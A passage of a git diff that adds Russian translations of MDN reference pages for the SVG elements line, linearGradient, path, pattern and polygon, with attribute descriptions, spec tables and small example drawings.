+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; А<em>нимируемый</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr('y1')}}</dt>
+ <dd>Определяет координату начальной точки линии по оси y.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; А<em>нимируемый</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr('y2')}}</dt>
+ <dd>Определяет координату конечной точки линии по оси y.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; А<em>нимируемый</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("pathLength")}}</dt>
+ <dd>Определяет общую длину пути в пользовательских единицах.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Значение по умолчанию</em>: <em>none</em>; А<em>нимируемый</em>: <strong>да</strong></small></dd>
+</dl>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Основные атрибуты</a></dt>
+ <dd><small>В первую очередь: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Атрибуты оформления (стилей)</a> </dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Атрибуты условной обработки</a></dt>
+ <dd><small>В первую очередь: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Атрибуты события</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Глобальные атрибуты события</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Графические атрибуты события</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Атрибуты презентации</a></dt>
+ <dd><small>В превую очередь: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>Атрибуты ARIA</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'shapes.html#LineElement', '&lt;line&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'shapes.html#LineElement', '&lt;line&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.line")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+<ul>
+ <li>{{SVGElement("polygon")}}</li>
+ <li>{{SVGElement("path")}}</li>
+ <li><a href="https://www.svg-expert.ru/svg/line/">SVG Line - описание и примеры</a></li>
+</ul>
diff --git a/files/ru/web/svg/элемент/lineargradient/index.html b/files/ru/web/svg/элемент/lineargradient/index.html
new file mode 100644
index 0000000000..37ab6a334d
--- /dev/null
+++ b/files/ru/web/svg/элемент/lineargradient/index.html
@@ -0,0 +1,105 @@
+---
+title: <linearGradient>
+slug: Web/SVG/Элемент/linearGradient
+tags:
+  - NeedsUpdate
+  - SVG
+  - SVG градиент
+  - Справка
+  - Элемент
+translation_of: Web/SVG/Element/linearGradient
+---
+<div>{{SVGRef}}</div>
+
+<p>Элемент <strong><code>&lt;linearGradient&gt;</code></strong> <a href="/en-US/docs/Web/SVG">SVG</a> позволяет авторам определять линейные градиенты для заполнения или изменения графических элементов.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Основные атрибуты</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Атрибуты презентации</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Xlink_attributes">Атрибуты Xlink</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Специфические_атрибуты">Специфические атрибуты</h3>
+
+<ul>
+ <li>{{SVGAttr("gradientUnits")}}</li>
+ <li>{{SVGAttr("gradientTransform")}}</li>
+ <li>{{SVGAttr("x1")}}</li>
+ <li>{{SVGAttr("y1")}}</li>
+ <li>{{SVGAttr("x2")}}</li>
+ <li>{{SVGAttr("y2")}}</li>
+ <li>{{SVGAttr("spreadMethod")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+</ul>
+
+<h2 id="DOM_интерфейс">DOM интерфейс</h2>
+
+<p>Этот элемент реализует {{domxref("SVGLinearGradientElement")}} интерфейс.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"&gt;
+    &lt;defs&gt;
+        &lt;linearGradient id="MyGradient"&gt;
+            &lt;stop offset="5%"  stop-color="green"/&gt;
+            &lt;stop offset="95%" stop-color="gold"/&gt;
+        &lt;/linearGradient&gt;
+    &lt;/defs&gt;
+
+    &lt;rect fill="url(#MyGradient)"
+          x="10" y="10" width="100" height="100"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample("Example", 120, 120, "https://mdn.mozillademos.org/files/10061/svg-lineargradient.png")}}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'pservers.html#LinearGradientElement', '&lt;linearGradient&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'pservers.html#LinearGradients', '&lt;linearGradient&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div id="compat-desktop">
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.linearGradient")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{SVGElement("radialGradient")}}</li>
+ <li>{{SVGElement("stop")}}</li>
+</ul>
diff --git a/files/ru/web/svg/элемент/path/index.html b/files/ru/web/svg/элемент/path/index.html
new file mode 100644
index 0000000000..7dc97ca989
--- /dev/null
+++ b/files/ru/web/svg/элемент/path/index.html
@@ -0,0 +1,98 @@
+---
+title: <path>
+slug: Web/SVG/Элемент/path
+translation_of: Web/SVG/Element/path
+---
+<div>{{SVGRef}}</div>
+
+<p>Элемент <strong><code>&lt;path&gt;</code></strong> является общим элементом для описания фигуры. Все базовые фигуры могут быть созданы с помощью элемента path.</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M 10,30
+           A 20,20 0,0,1 50,30
+           A 20,20 0,0,1 90,30
+           Q 90,60 50,90
+           Q 10,60 10,30 z"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', 100, 100)}}</p>
+</div>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-cx">{{SVGAttr("d")}}</dt>
+ <dd>Этот атрибут определяет форму.<br>
+ <small><em>Тип значения</em>: <strong>&lt;string&gt;</strong> ; <em>Значеие по умолчанию</em>: <code>''</code>; <em>Анимирование</em>: <strong>Да</strong></small></dd>
+ <dt>{{SVGAttr("pathLength")}}</dt>
+ <dd>Этот атрибут позволяет указывать общую длину в пользовательских единицах.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Значеие по умолчанию</em>:<em>нет</em>; <em>Анимирование</em>: <strong>Да</strong></small></dd>
+</dl>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Атрибуты ядра</a></dt>
+ <dd><small>Most notably: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Атрибуты стиля</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Атрибуты условной обработки</a></dt>
+ <dd><small>Most notably: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Атрибуты событий</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Атрибуты глобальных событий</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Атрибуты графических событий</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>ARIA атрибуты</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Использование">Использование</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристики</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Paths", "#PathElement", "&lt;path&gt;")}}</td>
+   <td>{{Spec2("SVG Paths")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "paths.html#PathElement", "&lt;path&gt;")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "paths.html#PathElement", "&lt;path&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>div class="hidden"&gt;Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, перейдите на https://github.com/mdn/browser-compat-data и отправьте pull request на изменение.</p>
+
+<p>{{Compat("svg.elements.path")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>SVG basic shapes: {{ SVGElement('circle') }}, {{ SVGElement('ellipse') }}, {{ SVGElement('line') }}, {{ SVGElement('polygon') }}, {{ SVGElement('polyline') }}, {{ SVGElement('rect') }}</li>
+ <li><a href="/en-US/docs/Web/SVG/Tutorial/Paths">The MDN SVG "Getting Started" tutorial : Path</a></li>
+</ul>
diff --git a/files/ru/web/svg/элемент/pattern/index.html b/files/ru/web/svg/элемент/pattern/index.html
new file mode 100644
index 0000000000..2d572737d3
--- /dev/null
+++ b/files/ru/web/svg/элемент/pattern/index.html
@@ -0,0 +1,125 @@
+---
+title: <pattern>
+slug: Web/SVG/Элемент/pattern
+tags:
+  - SVG
+translation_of: Web/SVG/Element/pattern
+---
+<div>{{SVGRef}}<br>
+Элемент <strong><code>&lt;pattern&gt;</code></strong> определяет графический объект, который может быть перерисован с повторяющимися координатами <strong>x</strong> и <strong>y</strong> («мозаичным»), чтобы покрыть область.</div>
+
+<div><br>
+На ссылку <code>&lt;pattern&gt;</code> ссылаются атрибуты {{SVGAttr("fill")}} и / или {{SVGAttr("stroke")}} на других <a href="/en-US/docs/Web/SVG/Tutorial/Basic_Shapes">графических элементах</a> , чтобы заполнить или обвести эти элементы указанным шаблоном. </div>
+
+<div> </div>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html; highlight[4]">&lt;svg viewBox="0 0 230 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;pattern id="star" viewBox="0,0,10,10" width="10%" height="10%"&gt;
+      &lt;polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/&gt;
+    &lt;/pattern&gt;
+  &lt;/defs&gt;
+
+  &lt;circle cx="50"  cy="50" r="50" fill="url(#star)"/&gt;
+  &lt;circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 150, '100%')}}</p>
+</div>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt>{{SVGAttr("height")}}</dt>
+ <dd>Этот атрибут определяет высоту плитки шаблона.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a>; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("href")}}</dt>
+ <dd>Этот атрибут по умолчанию ссылается на пример шаблона для <code>&lt;pattern&gt;</code><br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#URL"><strong>&lt;URL&gt;</strong></a>; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("patternContentUnits")}}</dt>
+ <dd>Этот атрибут определяет систему координат содержимого {{ SVGElement("pattern") }}. <br>
+ <small><em>Value type</em>: <code>userSpaceOnUse</code>|<code>objectBoundingBox</code>; <em>Default value</em>: <code>userSpaceOnUse</code>; <em>Animatable</em>: <strong>yes</strong></small>
+ <p class="note"><strong>Сноска:</strong> Этот атрибут не действует, если в элементе <code>&lt;pattern&gt;</code> указан атрибут <code>viewBox</code>.</p>
+ </dd>
+ <dt>{{SVGAttr("patternTransform")}}</dt>
+ <dd>Этот атрибут содержит определение необязательного дополнительного преобразования из системы координат шаблона в целевую систему координат.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#Transform-list">&lt;transform-list&gt;</a></strong>; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("patternUnits")}}</dt>
+ <dd>Этот атрибут определяет систему координат для атрибутов <code>x</code>, <code>y</code>, <code>width</code> и <code>height</code>. <br>
+ <small><em>Value type</em>: <code>userSpaceOnUse</code>|<code>objectBoundingBox</code>; <em>Default value</em>: <code>objectBoundingBox</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("preserveAspectRatio")}}</dt>
+ <dd>Этот атрибут определяет, как фрагмент svg должен быть деформирован, если он встроен в контейнер с другим соотношением сторон.<br>
+ <small><em>Value type</em>: (<code>none</code>| <code>xMinYMin</code>| <code>xMidYMin</code>| <code>xMaxYMin</code>| <code>xMinYMid</code>| <code>xMidYMid</code>| <code>xMaxYMid</code>| <code>xMinYMax</code>| <code>xMidYMax</code>| <code>xMaxYMax</code>) (<code>meet</code>|<code>slice</code>)? ; <em>Default value</em>: <code>xMidYMid meet</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("viewBox")}}</dt>
+ <dd>Этот атрибут определяет границы области просмотра SVG для фрагмента шаблона.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#List-of-Ts">&lt;list-of-numbers&gt;</a></strong> ; <em>Default value</em>: none; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("width")}}</dt>
+ <dd>Этот атрибут определяет ширину плитки шаблона.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("x")}}</dt>
+ <dd>Этот атрибут определяет смещение координаты x мозаичного изображения.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("xlink:href")}} {{deprecated_inline("SVG2")}}</dt>
+ <dd>Этот атрибут ссылается на пример шаблона, предоставляющего значения по умолчанию для атрибутов <code>&lt;pattern&gt;</code>.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#URL"><strong>&lt;URL&gt;</strong></a>; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small>
+ <p class="note"><strong>Сноска:</strong> Для браузеров, реализующих <code>href</code>, если заданы как <code>href</code>, так и <code>xlink:href</code>, <code>xlink:href</code> будет игнорироваться, используя только <code>href</code>.</p>
+ </dd>
+ <dt>{{SVGAttr("y")}}</dt>
+ <dd>Этот атрибут определяет смещение координат y мозаичного элемента.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+</dl>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Core Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Styling Attributes</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Conditional Processing Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>XLink Attributes</dt>
+ <dd><small>Most notably: {{SVGAttr("xlink:title")}}</small></dd>
+</dl>
+
+<h2 id="Нотации">Нотации</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристики</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'pservers.html#Patterns', '&lt;pattern&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'pservers.html#Patterns', '&lt;pattern&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных.<br>
+Если вы хотите внести свой вклад в данные, пожалуйста, проверьте  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на их получение.</div>
+
+<p>{{Compat("svg.elements.pattern")}}</p>
diff --git a/files/ru/web/svg/элемент/polygon/index.html b/files/ru/web/svg/элемент/polygon/index.html
new file mode 100644
index 0000000000..b1baf626a3
--- /dev/null
+++ b/files/ru/web/svg/элемент/polygon/index.html
@@ -0,0 +1,95 @@
+---
+title: <polygon>
+slug: Web/SVG/Элемент/polygon
+tags:
+  - SVG
+translation_of: Web/SVG/Element/polygon
+---
+<div>{{SVGRef}}</div>
+
+<p>Элемент <strong><code>&lt;polygon&gt;</code></strong> описывает замкнутую фигуру, состоящую из набора последовательно соединённых между собой прямых линий. Для создания незамкнутых фигур используется элемент {{SVGElement("polyline")}}.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Example of a polygon with the default fill --&gt;
+  &lt;polygon points="0,100 50,25 50,75 100,0" /&gt;
+
+  &lt;!-- Example of the same polygon shape with stroke and no fill --&gt;
+  &lt;polygon points="100,100 150,25 150,75 200,0"
+            fill="none" stroke="black" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, 100)}}</p>
+</div>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt>{{SVGAttr('points')}}</dt>
+ <dd>Данный атрибут определяет список точек (независимых пар x,y координат), необходимых для отрисовки фигуры.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a>+ ; <em>Значение по умолчанию</em>: <code>""</code>; <em>Анимируемый</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("pathLength")}}</dt>
+ <dd>Данный атрибут позволяет указывать общую длину пути в пользовательских единицах.<br>
+ <small><em>Тип значения</em>: <a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Значение по умолчанию</em>: <em>none</em>; <em>Анимируемый</em>: <strong>да</strong></small></dd>
+</dl>
+
+<h3 id="Global_attributes">Global attributes</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Основные атрибуты</a></dt>
+ <dd><small>Самые важные: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Атрибуты стилизации</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Условные атрибуты</a></dt>
+ <dd><small>Самые важные: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Атрибуты событий</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Атрибуты глобальных событий</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Атрибуты графических событий</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
